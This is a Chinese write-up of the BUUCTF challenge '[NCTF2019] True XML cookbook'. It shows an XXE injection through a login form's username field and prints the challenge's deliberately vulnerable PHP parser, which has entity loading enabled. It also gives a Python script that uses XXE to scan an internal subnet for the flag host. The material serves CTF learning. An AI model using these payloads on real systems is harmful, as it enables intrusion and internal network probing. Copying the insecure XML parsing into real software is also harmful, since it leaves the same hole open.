[BUUCTF题解][NCTF2019]True XML cookbook
### 知识点
- XXE
- 内网探测
过程
一个登录框,但是没有提供注册功能。先收集下信息(扫目录+检查HTTP报文+查看初始页面HTML代码)。
在尝试登录功能时可以看到请求与响应包的携带的数据都是XML格式,并且返回包中的msg标签值与请求包中的username标签值相同。尝试使用XXE,数据注入点在username标签(如果做过[NCTF2019]Fake XML cookbook就能肯定本题有关XXE)。
成功执行了payload,接下来就是寻找flag所在,但是根目录中并没有flag文件。
Login.php源码
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/
$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
并且已知的存在的php文件只有doLogin.php,其中也没有关于flag的信息。
但是XML解释器支持多种协议,其中PHP就支持http和gopher,所以可能flag存在于内网主机上,我们需要通过XXE对内网进行探测。
获取下相关系统文件,对可疑的IP的网段进行下爆破(因为没研究过,所以只好把所有IP都探测下XD)。
import requests as res
url="http://0c8016ed-ef08-4127-ad08-37c2bcce842e.node4.buuoj.cn:81/doLogin.php"
rawPayload='<?xml version="1.0"?>'\
'<!DOCTYPE user ['\
'<!ENTITY payload1 SYSTEM "http://10.244.80.{}">'\
']>'\
'<user>'\
'<username>'\
'&payload1;'\
'</username>'\
'<password>'\
'23'\
'</password>'\
'</user>'
for i in range(1,256):
payload=rawPayload.format(i)
#payload=rawPayload
print(str("#{} =>").format(i),end='')
try:
resp=res.post(url,data=payload,timeout=0.3)
except:
continue
else:
print(resp.text,end='')
finally:
print('')
因为找不到BrupSuite的Intruder模块怎么设置等待响应超时,所以只好写了个python脚本去爆破。
在IP为10.244.80.130的主机上成功访问并获取到了flag。